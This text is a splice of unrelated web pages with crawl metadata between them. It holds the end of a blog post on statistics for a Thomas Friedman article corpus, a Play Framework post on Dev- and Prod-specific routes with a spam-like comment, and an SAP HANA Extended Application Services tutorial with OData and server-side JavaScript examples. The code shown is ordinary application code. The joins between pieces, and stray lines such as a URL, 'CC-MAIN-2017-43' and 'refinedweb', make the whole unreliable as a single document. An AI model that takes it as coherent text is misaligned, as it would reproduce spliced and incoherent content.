looks totally reasonable, if a bit depressing. If you’re curious, his top locations were the Middle East, Israel, and Lebanon (which is not at all surprising), and his top organizations were the U.N., NATO, and the Palestine Liberation Organization, followed distantly by the Republican and Democratic Parties. On a lark, I made a pie chart of the equivalent persons keywords, where the percentages equal the number of times Friedman has mentioned a given person divided by the total number of people-mentions (multiplied by 100): In the top ten you see the usual subjects –— current and former presidents, George Bush’s Secretary of State (Mr. Baker), Middle Eastern heads of state, Gorbachev –— which together comprise almost 50% of all mentions. The other half —– “EVERYONE ELSE” —– is a multitude whose 920 wedges can’t be visualized like this. So much for pie charts! Last but not least, here are some super simple stats for the Friedman corpus text: - number of articles: 3,584 - number of sentences: 115k - number of words: 2.96M - number of unique words: 71.9k - average sentence length: 24.9 words - average word length: 4.81 letters - average Flesh-Kincaid grade level: 11.8 Next time, I (finally!) get to what I consider the fundamental measures of corpus linguistics: word occurrence, word co-occurrence, and word dispersion. And more.
http://bdewilde.github.io/blog/blogger/2013/10/20/friedman-corpus-2-data-quality-and-corpus-stats/
CC-MAIN-2017-43
refinedweb
1,278
52.7
Creating a DFS folder is similar to creating the DFS namespace. A folder can be created to target existing shares, folders beneath existing shares, or a new share can be created on the desired server or servers. As recommended previously, pre-create the file share on an NTFS folder and properly configure the share and NTFS permissions for each folder target that will be added to the DFS folder. When a new folder is created with multiple folder targets, a replication group can be created at the same time. To create a folder within an existing namespace, follow these steps: 1. On the same server used to create the original namespace, open the DFS Management console as previously outlined. 2. Pre-create ... No credit card required
https://www.oreilly.com/library/view/windows-server-2012/9780133116007/ch28lev2sec37.html
CC-MAIN-2019-51
refinedweb
126
53.51
With the release of Qt 5.5 the Qt WebKit API was deprecated and replaced with the new QtWebEngine API, based on Chromium. The WebKit API was subsequently removed from Qt entirely with the release of Qt 5.6 in mid-2016. The change to use Chromium for web widgets within Qt was motivated by improved cross-platform support, multimedia and HTML5 features, together with a rapid development pace offering better future proofing. The benefits were considered enough to warrant breaking API changes in a non-major release, rather than waiting for Qt 6. The API for QtWebEngineWidgets was designed to make it — more or less — a drop-in replacement for it's predecessor, and this is also the case when using the API from PyQt5. However, the opportunity was taken to make a number of improvements to the API, which require changes to existing code. These changes include simplification of the page model, and switch of HTML export and printing methods to be asynchronous. This is good news since it prevents either of these operations from blocking your application execution. Below is a short walkthrough of the changes, including working examples with the new API. Goodbye .mainFrame() In the WebKit based API, each page was represented by a QWebPage object, which in turn contained frames of content. This reflects the origin of this API during a time when HTML frames were thing, used to break a document down into grid of constituent parts, each loaded as a separate source. The .mainFrame() of the page refers to the browser window, as a QWebFrame object which can itself contain multiple child frames, or HTML content. To get the HTML content of the page we would previously have to access it via — browser.page().mainFrame().toHtml() With the use of frames in web pages falling out favour, and being deprecated in HTML5, this API becomes an unnecessary complication. Now the call to .page() returns a QWebEnginePage object, which directly contains the HTML itself. browser.page().toHtml() If you try to use the above to actually get the HTML content of a page, it won't work. That's because this method has been changed to use an asynchronous callback. See below. Asynchronous .toHtml() Generating the HTML for a page can take some time, particularly on large pages. Not a really long time, but enough to make your application stutter. To avoid this, the .toHtml() method on QWebEnginePage has been converted to be asynchronous. To receive a copy of the HTML content you call .toHtml() as before, but now pass in a callback function to receive the HTML once the generation has completed. The initial completes immediately and so does not block your application execution. The following example shows a save method using a small callback function write_html_to_file to complete the process of writing the page HTML to the selected file location. def save_file(self): filename, _ = QFileDialog.getSaveFileName(self, "Save Page As", "", "Hypertext Markup Language (*.htm *html);;" "All files (*.*)") if filename: def write_html_to_file(html): with open(filename, 'w') as f: f.write(html) self.browser.page().toHtml(write_html_to_file) The write_html_to_file method will be called whenever the generation of the HTML has completed, assuming there are no errors in doing so. You can pass any Python function/method in as a callback. Asynchronous Printing In the previous API printing was also handled from the QWebFrame object, via the print slot ( print_ in PyQt due to print being a keyword in Python 2.7). This too has been moved to the QWebEnginePage object, now as a normal method rather than a slot. Because PyQt5 is Python 3 only, the method is now named print(), without a trailing underscore. To print a page we can call .print() on any QWebEnginePage object, passing in an instance of QPrinter to print to, and a callback function to call once complete. The QPrinter instance can be configured using a QPrintDialog as normal, however you must ensure the printer object is not cleaned up/removed before the end of the printing process. While you can generate a new QPrinter object from a call to QPrintDialog, this will be cleared up by Qt even if you hold onto a Python reference, leading to a segmentation fault. The simplest solution is just to create a QPrinter object at the start of your application and re-use it. First create an instance of QPrinter on your main window during initialization, e.g. self.printer = QPrinter() Then you can use the following to show a print dialog and (optionally) print a page: def print_page(self): dlg = QPrintDialog(self.printer) if dlg.exec_(): self.browser.page().print(self.printer, self.print_completed) def print_completed(self, success): pass # Do something in here, maybe update the status bar? The callback is required, but your not required to do anything in it. It receives a bool value indicating the success/failure of the printing process. Print to PDF The new QWebEnginePage API also provides a little bonus in the form of PDF printing from HTML pages via printToPdf. This method accepts either a str filename to write the resulting PDF to, or a callback function to receive the rendered PDF as a QByteArray. browser.page().printToPdf(path) # render to PDF and save to path Existing files will be overwritten when writing to file. While this operation is is asynchronous there is no callback. Instead the notification of success/failure comes via a signal on the page object pdfPrintingFinished, which receives the file path string and a success bool. This signal is not triggered when using a callback: def rendered_pdf_callback(b): print(b) browser.page().printToPdf(rendered_pdf_callback) # render to PDF and send as `QByteArray` to `rendered_pdf_callback` Paper formats and margins can all be configured by passing additional parameters.
https://www.twobitarcade.net/article/qtwebenginewidgets-pyqt5/
CC-MAIN-2019-09
refinedweb
959
63.19
- A Useful Instance of A Big Topic - Installing The XMingwin Environment - Where To Go Next Suppose you're a Linux-based developer. You wrote a complex library that calculates weather statistics, or creates sound effects, or de-blurs photographic images. You successfully deliver programs to an extensive list of customers or co-workers. So far, so good. Yet, users have been asking you for a version of your software that run on Windows. You're flattered and you welcome the attention, but it's a challenge. Sure, your code is well-written and it will port easily enough, but how can you take on the burdens of managing a whole new development environment, such as Microsoft's Visual C++ or Borland's C++ Builder? Will you have to abandon your usual working environment for the inconveniences of dual-booting, or use a second host that needs tending? Well, no. You don't have to relocate. You can stay at home on your existing Linux desktop, and tweak your environment a bit so that it simultaneously generates Linux- and Windows-targeted results. XMingwin, an open source project, can do help you do that. It produces native Windows programs that do not rely on any third-party DLLs. A Useful Instance of A Big Topic XMingwin is a "cross-development" package. The "cross-minimalist-GNU-for-Windows" project (occasionally spelled "Xmingw," "Xmingw32," and so on) is actually only a tiny selection from a far bigger story. The open-source technologies involved are flexible enough to have the potential to work with any host, any target, and any language. In principle, you could write in Ada on an old MS-DOS box, and deliver code that works on mainframes. Understanding the full generality of cross-development is rather breathtaking, if not intimidating. Rather than tackle all its abstractions, let's look at a specific, concrete model case. Generalize your success with this straightforward example to your own situation. Our model program will include two C++ source files, p1.cc and p2.cc: # This is the source of p1.cc. #include <iostream> #include <stdio.h> float this_sum(); using namespace std; int main(int argc, char *argv[]) { cout << "The result is " << this_sum() << ".\n"; return 0; } # This is the source of p2.cc. float this_sum() { return 7.3 + 16; } Generate an executable with these under Unix by invoking g++ -c p1.cc g++ -c p2.cc g++ -o p p1.o p2.o Launch the generated application, ../p and you'll see The result is 23.3. In practice, you probably use a Makefile or another more advanced generation facility. (These, also, are abstractions outside the scope of this introduction.) Once you have a simple case working reliably, you should be able to apply the principles to Makefile on your own. Next, install an XMingwin set of binaries (such as the one found here). With many open-source projects, it's most convenient to start from sources and generate results yourself. Although you'll eventually want to do that for XMingwin, I don't advise you to start there. Compiler generation--especially of associated librariesis complex enough. Leave it to others for your first experiments.
http://www.informit.com/articles/article.aspx?p=32075&amp;seqNum=2
CC-MAIN-2017-04
refinedweb
529
58.79
jaded 0.3.1 Port of node.js popular Jade view engine for Dart. Checkout the PugJS site for documentation and usage jaded # Port of the excellent Pug, formerly Jade view engine in Dart. Now feature complete with the original jade view engine, begin by taking the comprehensive tour on learnjade.com and refer to jade's detailed documentation to learn about Jade's features and syntax. Although the aim was to have a high-fidelity port, the major syntactical difference compared with the original Jade (in JavaScript) is that the compiler only emits and executes Dart code, so any embedded code in views must be valid Dart (i.e. instead of JavaScript). Installing via Pub # Add this to your package's pubspec.yaml file: dependencies: jaded: 0.3.1 Public API # Compile a Directory # Add a pre-build step and use renderDirectory to statically compile all views into a single jade.views.dart file containing a Map of all compiled Jade views, e.g: import "dart:io"; import "package:jaded/jaded.dart" as jade; var jadeTemplates = jade.renderDirectory('.'); new File('jade.views.dart').writeAsString(jadeTemplates); Writes to jade.views.dart snippet: Map<String,Function> JADE_TEMPLATES = { './index.jade': ([Map locals]){ ... }, './dir/page.jade': ([Map locals]){ ... }, } Usage: import "jade.views.dart"; var render = JADE_TEMPLATES['./index.jade']; var html = render({'title': 'Hello Jade!'}); Compile a jade view at runtime # import "package:jaded/jaded.dart" as jade; var renderAsync = jade.compile('string of jade', { //Optional Compiler Defaults: Map locals, String filename, String basedir, String doctype, bool pretty:false, bool compileDebug:false, bool debug:false, bool colons:false, bool autoSemicolons:true }); renderAsync(locals) .then((html) => print(html)); Options # localsLocal variable object filenameUsed in exceptions, and required when using includes basedirThe basedir where views start from doctypeWhat doctype to use prettyAdd pretty-indentation whitespace to output (false by default) debugOutputs tokens and function body generated compileDebugWhen falseno debug instrumentation is compiled autoSemicolonsAuto add missing semicolons at the end of new lines (true by default) Web Frameworks # - jaded is the de-facto HTML View Engine in Dart express web framework. Current Status # All tests in jade.test.dart are now passing. All integration test cases in /test/cases that doesn't make use of an external DSL library are passing. Specifically, the following filters are NOT supported: filters.coffeescript.jade filters.less.jade filters.stylus.jade include-filter-stylus.jade When they become available support for external Web DSL's can be added to transformers.dart in the same way as done inside Jade's feature-rich transformers.js. Markdown filter # We've added the markdown filter which lets you include markdown inline: html body :markdown This is _some_ awesome **markdown** Or as an external include: html body include some.md Pre-compilation of .jade templates # The recommended way to execute .jade templates is to pre-compile all views with renderDirectory() out to a static file at design time. This can be automated using the Dart Editor build system /build.dart file, which can be used to trigger the background compilation of .jade views when it detects a .jade file was saved or deleted. This is the approach the Dart Express Web Framework takes with its express_build.dart helper that gets triggered when a '.jade' file is touched will scan all directories for an empty jade.yaml marker and recursively pre-compiles all .jade views in that directory into a single jade.views.dart file. Compile and execute at runtime - Missing eval # Jade relies on eval'ing code-gen to work which is a limitation in Dart that lacks eval. To get around this when compiling on the fly, we're currently wrapping the code-gen Dart inside an Isolate and writing it out to a file then immediately reading it back in with spawnUri and invoking the new code asynchronously in the runCompiledDartInIsolate() method. Although this works, it forces us to have an async API to convert jade to html at runtime. When Dart offers a sync API for evaluating Dart code we'll convert it back to a sync API. Contributors # - mythz (Demis Bellot) - MaxHorstmann (Max Horstmann) - Cheney-Enterprises (Eric Cheney)
https://pub.dev/packages/jaded
CC-MAIN-2020-34
refinedweb
687
50.33
A Static File Server with options. Project description A Static File Server with options. Table of Contents - Features - Options - Installation - Preparing your Files - Use as a Command Line Tool - Use as a Python Library - Infrequently Asked Questions - License - Change Log Features Options Rheostatic currently supports the following options: root The local file system directory which the server should use as its “root” directory. Usually represented by / in the URL (for example). When root is set to a relative path, the local filesystem path is resolved as an absolute path relative to the current working directory. Absolute paths are used as-is. index_file The name of the file returned when a directory is requested (a URL ending with a /). A file by that name must be present in the requested directory. Defaults to index.html. For example, a request to / would return the file at /index.html without redirecting the client. default_type The ContentType returned for a file when the type is unknown. Defaults to application/octet-stream. encoding The encoding used to read and serve the files. Be sure all your files are saved using the same encoding. Defaults to utf-8. directory_template An HTML template used to display a directory listing when no index file is available for the requested directory. Defaults to the string defined at utils.directory_template. default_extension The extension to use for extensionless URLs. The requested URL must not end in an extension or a slash (/). This feature is disabled by default. To enable the feature, set the option to a string which contains both a dot and the desired extension. For example, with the option set to .html, a request to /foo would return the file /foo.html without redirecting the client. Installation To install Rheostatic run the following command: pip install Note that this is currently alpha software and not yet hosted on PyPI. As such, the above command downloads the source code from GitHub. Upon a stable release, the package will become available from PyPI. Dependencies Rheostatic is a pure Python library with no external dependencies. It should run without issue on CPython versions 2.7, 3.3, 3.4, and 3.5 as well as PyPy. Preparing your Files Before running the server, you need some files to serve. All files must be in the root directory and its sub-directories. In fact, an error will occur if a file is requested outside of the root directory. The root directory can exist anywhere on your filesystem as long as Rheostatic has permission to read the files. Ensure that all files are saved using the same encoding and that that encoding is being used by Rheostatic. See encoding for details. A file’s ContentType is determined by its file extension. For best results, use common file extensions for your files. A list of known file extensions and the ContentType used for each can be found in rheostatic/utils.py. If you would like a file to be served when the client requests a directory (for example /, or /path/to/some/dir/), then that directory needs to contain an index file. Be sure to use the file name for the index file set by the index_file option. The default for most servers (including Rheostatic) is index.html. If a directory does not contain an index file, then Rheostatic will return a directory listing of all the files in that directory (excluding files with names that start with a dot). For custom error pages, include files in the “root” directory named <code>.html where <code> is the HTTP error code which the error page corresponds to. For example, a file named 404.html would be returned for 404 (Not Found) errors. Supported error codes include 404 (Not Found), and 405 (Method Not Allowed). If a custom error page is not found, then Rheostatic serves a simple plain-text error page. Use as a Command Line Tool From the root directory of your site, run the command rheostatic: $ cd /var/www $ rheostatic Starting server at... Serving files from /var/www Press ctrl+c to stop. Alternatively, pass the root directory to the rheostatic command: $ rheostatic path/to/root Starting server at... Serving files from /absolute/path/to/root Press ctrl+c to stop. For detailed usage instructions and options, run rheostatic --help. If the rheostatic command cannot be found, try running python -m rheostatic instead. Use as a Python Library For basic usage, import the rheostatic.serve function, which accepts any and all options as keywords: from rheostatic import serve serve(address=('0.0.0.0', 80), root='/some/path', default_type='text/plain') Note that address expects a tuple of the host and port. The host must be a string and the port an integer. All other keywords correspond to the available options. Under the hood, the serve function creates an instance of the class rheostatic.base.Rheostatic and passes it to a simple wsgi server as a wsgi application. For lower level usage, an instance of the class may be created and passed to any wsgi server. When initializing the class, you may pass in any options as keywords: from rheostatic.base import Rheostatic app = Rheostatic(root='/some/path', index_file='README.html') Rheostatic accepts keywords which correspond to any of the available options. All options are also stored as attributes on the class instance: print app.root Infrequently Asked Questions Why Does this Exist? The existing solutions have different goals and do not offer the specific set of features that I needed. While some libraries could be subclassed to alter the behavior, attempts to provide patches upstream always result in rejection as the libraries generally where intended to serve static support files (images, CSS files, JavaScript, etc), specifically to support dynamic content (cgi, wsgi, Django, etc.). However, I needed to serve a static site; specifically static HTML files along with their supporting media files (generated from a static site generator). I can’t trust that the existing solutions will continue to work, as their goals do not align with my needs. On the other hand, other simple servers often don’t offer enough features to emulate a real server. Thus, Rheostatic was created to offer the flexibility and features to meet all of the needs of static site generators. Why is is called “Rheostatic”? I wanted something that accurately conveyed the purpose and function of the library/tool. Note that the similar word, “rheostat” comes from the Greek “rheos” (stream) and is defined as “[a]n electrical instrument used to control a current by varying the resistance.” Rheostatic doesn’t control current, but it does control a stream of static files served to a client, which can be varied by adjusting the settings. I also liked the name and it doesn’t appear to have been used by anyone else. Could you add my pet feature? Maybe. If the feature does not add support for dynamic content and it can be easily replicated by popular web servers, I may consider it. Naturally, if you do the work it’s more likely to get added, than if you wait for me to work on something I don’t care about and/or need. License Rheostatic is licensed under the MIT License as defined in LICENSE. Change Log Version 0.0.1 (2016/11/03) The initial release. Project details Release history Release notifications Download files Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
https://pypi.org/project/Rheostatic/
CC-MAIN-2019-47
refinedweb
1,248
57.98
Today, an interesting question was raised at Stackoverflow regarding if it were possible to define Dev/Prod mode specific routes in the Routes file. The simple answer, was that I didn’t know, but I had an theory that this could be possible, so I threw together a quick prototype to see if it would work. The premise of the idea was that the routes file does allow scripting to take place, which I have used before to define a Context, which is the agreed way to for managing the war context when deploying to Tomact and other Servlet containers. So, taking the idea that scriptlets are possible in the routes file, I wondered if this could be taken a step further, whereby logic could be carried out in the routes file, rather than simple assignment scriptlets.The prototype The prototype itself was pretty simple. I started a new play project play new routesproto and started the Play server. play run routesproto I then modified the Application.java to have a few actions, which simply returned a little text to show the action completed successfully. There was simply no need to write templates for the actions, as that was not what I wanted to prove. public class Application extends Controller { public static void index() { render(); } public static void noDev() { renderText("NoDev"); } public static void noProd() { renderText("NoProd"); } } I then went about making my routes file Dev and Prod specific. I created a few routes per environment as follows. # Home page GET / Application.index # Ignore favicon requests GET /favicon.ico 404 # Map static resources from the /app/public folder to the /public path GET /public/ staticDir:public %{ if (play.mode.isProd()) { }% GET /route1 Application.noDev GET /route2 Application.noDev GET /route3 Application.noDev %{ } }% %{ if (play.mode.isDev()) { }% GET /route4 Application.noProd GET /route5 Application.noProd GET /route6 Application.noProd %{ } }% * /{controller}/{action} {controller}.{action} So, what’s going on in here? Well, all the main (shared) routes are held at the top of the routes file, and then anything that becomes specific to Dev or Prod mode are placed at the bottom. As usually is the case, the catch-all should be last, so after the second if tag is closed, we follow it with the catch-all route. The following line is responsible for the logic in our routes file. %{ if (play.mode.isDev()) { }% and all routes between this piece of logic, and the closing of the if statement, indicated by the following line, are enabled. %{ } }% This simple line simply checks what Mode the application is running in, and if it is running in Dev mode, then the routes defined in between the opening and closing parenthesis become available. Conclusion I do not expect this syntax to immediately find its way in to every Play application routes file, but I no doubt think that it will be useful to many of us Players. Indeed, without the Stackoverflow question, I would never have even considered experimenting whether this method was actually possible or not, so thanks to Roshan for raising the question. From Sirikant Noori replied on Fri, 2012/03/30 - 1:21pm This is awesome – thanks! I won’t get an opportunity to try for some time but this idea looks like a different version of the idea could be realized that would allow domain-specific routing to be implemented. Thus, an app deployed to a single PlayApps-shard might be able to uniquely-service multiple distinct domains that run the same app but with different branding.Java Exam
http://java.dzone.com/articles/hidden-features-play-framework
CC-MAIN-2014-42
refinedweb
588
62.88
Creating transaction-protected applications using the Berkeley DB library is quite easy. Applications first use DB_ENV->open() to initialize the database environment. Transaction-protected applications normally require all four Berkeley DB subsystems, so the DB_INIT_MPOOL, DB_INIT_LOCK, DB_INIT_LOG, and DB_INIT_TXN flags should be specified. Once the application has called DB_ENV->open(), it opens its databases within the environment. Once the databases are opened, the application makes changes to the databases inside of transactions. Each set of changes that entails a unit of work should be surrounded by the appropriate DB_ENV->txn_begin(), DB_TXN->commit() and DB_TXN->abort() calls. The Berkeley DB access methods will make the appropriate calls into the Lock, Log and Memory Pool subsystems in order to guarantee transaction semantics. When the application is ready to exit, all outstanding transactions should have been committed or aborted. Databases accessed by a transaction must not be closed during the transaction. Once all outstanding transactions are finished, all open Berkeley DB files should be closed. When the Berkeley DB database files have been closed, the environment should be closed by calling DB_ENV->close(). The following code fragment creates the database environment directory then opens the environment, running recovery. Our DB_ENV database environment handle is declared to be free-threaded using the DB_THREAD flag, and so may be used by any number of threads that we may subsequently create. #include <sys/types.h> #include <sys/stat.h> #include <errno.h> #include <stdarg.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <db.h> #define ENV_DIRECTORY "TXNAPP" void env_dir_create(void); void env_open(DB_ENV **); ... int main(int argc, char *argv[]) { extern int optind; DB_ENV *dbenv; int ch; while ((ch = getopt(argc, argv, "")) != EOF) switch (ch) { case '?': default: usage(); } argc -= optind; argv += optind; env_dir_create(); env_open(&dbenv); ... return (0); } ... void env_dir_create() { struct stat sb; /* * If the directory exists, we're done. We do not further check * the type of the file, DB will fail appropriately if it's the * wrong type. */ if (stat(ENV_DIRECTORY, &sb) == 0) return; /* Create the directory, read/write/access owner only. */ if (mkdir(ENV_DIRECTORY, S_IRWXU) != 0) { fprintf(stderr, "txnapp: mkdir: %s: %s\n", ENV_DIRECTORY, strerror(errno)); exit (1); } }) { (void)dbenv->close(dbenv, 0); fprintf(stderr, "dbenv->open: %s: %s\n", ENV_DIRECTORY, db_strerror(ret)); exit (1); } *dbenvp = dbenv; } After running this initial program, we can use the db_stat utility to display the contents of the environment directory: prompt> db_stat -e -h TXNAPP 3.2.1 Environment version. 120897 Magic number. 0 Panic value. 1 References. 6 Locks granted without waiting. 0 Locks granted after waiting. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Mpool Region: 4. 264KB Size (270336 bytes). -1 Segment ID. 1 Locks granted without waiting. 0 Locks granted after waiting. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Log Region: 3. 96KB Size (98304 bytes). -1 Segment ID. 3 Locks granted without waiting. 0 Locks granted after waiting. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Lock Region: 2. 240KB Size (245760 bytes). -1 Segment ID. 1 Locks granted without waiting. 0 Locks granted after waiting. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Txn Region: 5. 8KB Size (8192 bytes). -1 Segment ID. 1 Locks granted without waiting. 0 Locks granted after waiting.
http://docs.oracle.com/cd/E17276_01/html/programmer_reference/transapp_env_open.html
CC-MAIN-2017-39
refinedweb
502
54.39
With SAP HANA SP5*, we introduce an exciting new capability called SAP HANA Extended Application Services (sometimes referred to unofficially as XS or XS Engine). The core concept of SAP HANA Extended Application Services is to embed a full featured application server, web server, and development environment within the SAP HANA appliance itself. However this isn’t just another piece of software installed on the same hardware as SAP HANA; instead SAP has decided to truly integrate this new application services functionality directly into the deepest parts of the SAP HANA database itself, giving it an opportunity for performance and access to SAP HANA differentiating features that no other application server has. Before SAP HANA SP5 if you wanted to build a lightweight web page or REST Service which consumes SAP HANA data or logic, you would need another application server in your system landscape. For example, you might use SAP NetWeaver ABAP or SAP NetWeaver Java to connect to your SAP HANA system via a network connection and use ADBC (ABAP Database Connectivity) or JDBC (Java Database Connectivity) to pass SQL Statements to SAP HANA. Because of SAP HANA’s openness, you might also use Dot Net or any number of other environments or languages which support ODBC (Open Database Connectivity) as well. These scenarios are all still perfectly valid. In particular when you are extending an existing application with new SAP HANA functionality, these approaches are very appealing because you easily and with little disruption integrate this SAP HANA functionality into your current architecture. However when you are building a new application from scratch which is SAP HANA specific, it makes sense to consider the option of the SAP HANA Extended Application Services. With SAP HANA Extended Application Services you can build and deploy your application completely self-contained within SAP HANA; providing an opportunity for a lower cost of development and ownership as well as performance advantages because of the closeness of the application and control flow logic to the database. Applications designed specifically to leverage the power of SAP HANA, often are built in such a way to push as much of the logic down into the database as possible. It makes sense to place all of your data intensive logic into SQL, SQLScript Procedures, and SAP HANA Views, as these techniques will leverage SAP HANA’s in-memory, columnar table optimizations as well as massively parallel processing. For the end-user experience, we are increasingly targeting HTML5 and mobile based applications where the complete UI logic is executed on the client side. Therefore we need an application server in the middle that is significantly smaller than the traditional application server. This application server only needs to provide some basic validation logic and service enablement. With the reduced scope of the application server, it further lends credit to the approach of a lightweight embedded approach like that of the SAP HANA Extended Application Services. Figure 1 – Architectural Paradigm Shift SAP HANA Studio Becomes a Development Workbench In order to support developers in creating applications and services directly within this new SAP HANA Extended Application Services, SAP has enhanced the SAP HANA Studio to include all the necessary tools. SAP HANA Studio was already based upon Eclipse; therefore we were able to extend the Studio via an Eclipse Team Provider plug-in which sees the SAP HANA Repository as a remote source code repository similar to Git or Perforce. This way all the development resources (everything from HANA Views, SQLScript Procedures, Roles, Server Side Logic, HTML and JavaScript content, etc.) can have their entire lifecycle managed with the SAP HANA Database. These lifecycle management capabilities include versioning, language translation export/import, and software delivery/transport. The SAP HANA Studio is extended with a new perspective called SAP HANA Development. As Figure 2 shows, this new perspective combines existing tools (like the Navigator view from the Modeler perspective) with standard Eclipse tools (such as the Project Explorer) and new tools specifically created for SAP HANA Extended Application Services development (for example, the Server Side JavaScript editor shown in the figure or the SAP HANA Repository browser). Because SAP HANA Studio is based on Eclipse, we can also integrate other Eclipse based tools into it. For example the SAP UI Development Toolkit for HTML5 (SAPUI5) is also delivered standard in SAP HANA Extended Application Services. HANA 1.0 SP5 comes pre-loaded with the 1.8 version of the SAPUI5 runtime and the SAPUI5 development tools are integrated into SAP HANA Studio and managed by the SAP HANA Repository like all other XS based artifacts. Although the SAPUI5 development tools are integrated into SAP HANA Studio, they are not installed automatically. For installation instructions, please see section 10.1 of the SAP HANA Developers Guide. Figure 2 – SAP HANA Development perspective of the SAP HANA Studio These extensions to the SAP HANA Studio include developer productivity enhancing features such as project wizards (Figure 3), resource wizards, code completion and syntax highlighting for SAP HANA Extended Application Services server side APIs, integrated debuggers, and so much more. Figure 3- Project Wizards for XS Based Development These features also include team management functionality. All development work is done based upon standard Eclipse projects. The project files are then stored within the SAP HANA Repository along with all the other resources. From the SAP HANA Repository browser view, team members can check out projects which have already been created and import them directly into their local Eclipse workspace (Figure 4). After projects have been imported into the local Eclipse workspace, developers can work offline on them. You can also allow multiple developers to work on the same resources at the same time. Upon commit back to the SAP HANA Repository, any conflicts will be detected and a merge tool will support the developer with the task of integrating conflicts back into the Repository. The SAP HANA Repository also supports the concept of active/inactive workspace objects. This way a developer can safely commit their work back to the server and store it there without immediately overwriting the current runtime version. It isn’t until the developer chooses to activate the Repository object, that the new runtime version is created. Figure 4 – Repository Import Project Wizard For a deeper look at the basic project creation and Repository object management within SAP HANA Studio, please view the following videos on the topic. OData Services There are two main parts of the SAP HANA Extended Application Services programming model. The first is the ability to generate OData REST services from any existing SAP HANA Table or View. The process is quite simple and easy. From within an SAP HANA Project, create a file with the extension xsodata. Within this service definition document, the developer needs only to supply the name of the source table/view, an entity name, and, if using an SAP HANA View, the entity key fields. For example, if you want to generate an OData service for an SAP HANA table named teched.epm.db/businessPartner in the Schema TECHEDEPM, this would be the XSODATA definition file you would create: service namespace "sap.hana.democontent.epm" { "TECHEDEPM"."teched.epm.db/businessPartner" as "BUYER"; } Figure 5 – XSODATA Service Definition and Test Upon activation of this XSODATA file, we already have an executable service which is ready to test. The generated service supports standard OData parameters like $metadata for introspection (see Figure 6), $filter, $orderby, etc. It also supports body formats of ATOM/XML and JSON (Figure 7 for an example). Because OData is an open standard, you can read more about the URL parameters and other features at. Figure 6 – OData $metadata support Figure 7 – Example OData Server JSON Output The examples in the above figures demonstrate how easily these services can be tested from the web browser, but of course doesn’t represent how end users would interact with the services. Although you can use a variety of 3rd party tools based upon JavaScript, like Sencha, Sencha Touch, JQuery, JQuery Mobile, and PhoneGap, just to name a few; SAP delivers the UI Development Toolkit for HTML5 (SAPUI5) standard in SAP HANA Extended Application Services. A particularly strong feature of SAPUI5 is the integration of OData service consumption not just at a library level but also with special features within the UI elements for binding to OData services. For example, within SAPUI5, you can declare an OData model object and connect this model object to the URL of the XSODATA service. Next, create a Table UI element and connect it to this model object. Finally you call bindRows of the Table UI element object and supply the OData entity name you want to use as the source of the table. var oModel = new sap.ui.model.odata.ODataModel ("../../services/buyer.xsodata/", false); oTable = new sap.ui.table.Table("test",{tableId: "tableID", visibleRowCount: 10}); ... oTable.setModel(oModel); oTable.bindRows("/BUYER"); This creates an UI Element which has built-in events, such as sort, filter, and paging, which automatically call the corresponding OData Service to fulfill the event. No additional client side or server side programming is necessary to handle such events. Figure 8 – OData Bound Table UI Element For more details on OData service creation in SAP HANA Extended Application Services and utilizing these services within SAPUI5, please view these videos. Server Side JavaScript The XSODATA services are great because they provide a large amount of functionality with minimal amounts of development effort. However there are a few limitations which come with such a framework approach. For example in SAP HANA SP5, the OData service framework is read only. Support for Insert, Update, and Delete operations is available with SAP HANA SP6. Luckily there is an option for creating free-form services where you can not only perform update operations but also have full control over the body format and URL parameter definition. SAP HANA Extended Application Services also allows development on the server side using JavaScript (via project files with the extension XSJS). Core APIs of SAP HANA Extended Application Services are, therefore, exposed as JavaScript functions; providing easy access to the HTTP Request and Response object as well database access to execute SQL or call SQLScript Procedures. In this simple example, we can take two numbers as URL Request Parameters and multiply them together and then return the results as text in the Response Body. This is an intentionally basic example so that you can focus on the API usage. Figure 9 – Simple XSJS Service However the power of XSJS services comes from the ability to access the database objects, but also have full control over the body output and to further manipulate the result set after selection. In this example, we use XSJS to create a text-tab delimited output in order to support a download to Excel from a user interface. function downloadExcel(){ var body = ''; var query = 'SELECT TOP 25000 \"PurchaseOrderId\", \"PartnerId\", to_nvarchar(\"CompanyName\"), \"LoginName_1\", \"CreatedAt\", \"GrossAmount\" FROM \"_SYS_BIC\".\"teched.epm.db/PO_HEADER_EXTENDED\" order by \"PurchaseOrderId\"'; $.trace.debug(query); var conn = $.db.getConnection(); var pstmt = conn.prepareStatement(query); var rs = pstmt.executeQuery(); body = "Purchase Order Id \tPartner Id \tCompany Name \tEmployee Responsible \tCreated At \tGross Amount \n"; while(rs.next()) { body += rs.getString(1)+ "\t"+rs.getString(2)+"\t"+rs.getString(3)+"\t"+rs.getString(4)+"\t"+rs.getTimestamp(5)+"\t"+rs.getDecimal(6)+"\n"; } $.response.setBody(body); $.response.contentType = 'application/vnd.ms-excel; charset=utf-16le'; $.response.headers.set('Content-Disposition','attachment; filename=Excel.xls'); $.response.headers.set('access-control-allow-origin','*'); $.response.status = $.net.http.OK; } Closing This blog hopefully has served to give you a small introduction to many of the new concepts and possibilities with SAP HANA SP5 and SAP HANA Extended Application Services. Over the coming weeks, we will be posting additional blogs with more advanced examples and techniques as well how to integrate SAP HANA Extended Application Services content into additional environments. Likewise there is a substantial Developer’s Guide which expands on many of the concepts introduced here. *It is also important to note that while SAP HANA Extended Application Services ships as productive software (meaning customers can go live in production with it) in SAP HANA SP5; it is a controlled release initially, with a special “Project Solution” program in place around this new functionality. Please refer to Service Note 1779803, for additional details on the current status of the Project Solution. This Project Solution approach is designed to provide the highest levels of support possible to initial customers and partners who choose to develop using SAP HANA Extended Application Services. It also provides a channel for feedback to Product Management and development so that we take suggestions and ideas and quickly integrate them into future revisions of SAP HANA and SAP HANA Extended Application Services. Hi Thomas, Thx for valuable and useful information. I have an query regarding XS Odata service creation for more than 2 tables and get all the data in one command. There is req. in which service needs to be created for 3 tables to get data from all these. First table has Project ID as key, second table has composite ProjectID and Employee Id as key and third table has Employee id as key. So if I create navigation for first 2 tables based on project id and use expand comand than its working fine and I can see data of both the tables. Further, if I add navigation for third table also as below, then below expand is displaying data for first two tables only. Pls share how to use expand command in this case if possible to get all tables data based 